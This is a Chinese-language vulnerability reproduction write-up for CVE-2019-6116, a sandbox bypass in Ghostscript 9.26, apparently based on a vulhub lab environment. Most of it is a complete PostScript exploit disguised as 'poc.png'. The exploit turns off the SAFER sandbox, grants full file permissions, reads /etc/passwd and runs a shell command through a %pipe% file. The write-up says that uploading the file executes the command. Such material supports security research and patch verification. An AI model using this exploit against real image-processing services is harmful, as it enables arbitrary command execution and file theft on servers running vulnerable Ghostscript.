# (CVE-2019-6116)GhostScript 沙箱绕过(命令执行)漏洞
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一、漏洞简介
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Ghostscript
9.26版本中存在输入验证错误漏洞。该漏洞源于网络系统或产品未对输入的数据进行正确的验证。
二、漏洞影响
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Ghostscript 9.26版本
三、复现过程
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**poc.png**
%!PS
% extract .actual_pdfpaintproc operator from pdfdict
/.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def
/exploit {
(Stage 11: Exploitation…)=
/forceput exch def
systemdict /SAFER false forceput
userparams /LockFilePermissions false forceput
systemdict /userparams get /PermitFileControl [(*)] forceput
systemdict /userparams get /PermitFileWriting [(*)] forceput
systemdict /userparams get /PermitFileReading [(*)] forceput
% update
save restore
% All done.
stop
} def
errordict /typecheck {
/typecount typecount 1 add def
(Stage 10: /typecheck #)=only typecount ==
% The first error will be the .knownget, which we handle and setup the
% stack. The second error will be the ifelse (missing boolean), and then we
% dump the operands.
typecount 1 eq { null } if
typecount 2 eq { pop 7 get exploit } if
typecount 3 eq { (unexpected)= quit } if
} put
% The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some
% executable arrays onto the operand stack that contain .forceput, but are not
% marked as executeonly or pseudo-operators.
%
% The routine was attempting to pass them to ifelse, but we can cause that to
% fail because when the routine was declared, it used `bind` but many of the
% names it uses are not operators and so are just looked up in the dictstack.
%
% This means we can push a dict onto the dictstack and control how the routine
% works.
<<
/typecount 0
/PDFfile { (Stage 0: PDFfile)= currentfile }
/q { (Stage 1: q)= } % no-op
/oget { (Stage 3: oget)= pop pop 0 } % clear stack
/pdfemptycount { (Stage 4: pdfemptycount)= } % no-op
/gput { (Stage 5: gput)= } % no-op
/resolvestream { (Stage 6: resolvestream)= } % no-op
/pdfopdict { (Stage 7: pdfopdict)= } % no-op
/.pdfruncontext { (Stage 8: .pdfruncontext)= 0 1 mark } % satisfy counttomark and index
/pdfdict { (Stage 9: pdfdict)=
% cause a /typecheck error we handle above
true
}
>> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop
(Should now have complete control over ghostscript, attempting to read /etc/passwd…)=
% Demonstrate reading a file we shouldnt have access to.
(/etc/passwd) (r) file dup 64 string readline pop == closefile
(Attempting to execute a shell command…)= flush
% run command
(%pipe%id > /tmp/success) (w) file closefile
(All done.)=
quit
上传这个poc文件,即可执行`id > /tmp/success`:
![](/static/qingy/(CVE-2019-6116)GhostScript_沙箱绕过(命令执行)漏洞/img/rId24.png)
参考链接
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> https://vulhub.org/\#/environments/ghostscript/CVE-2019-6116/
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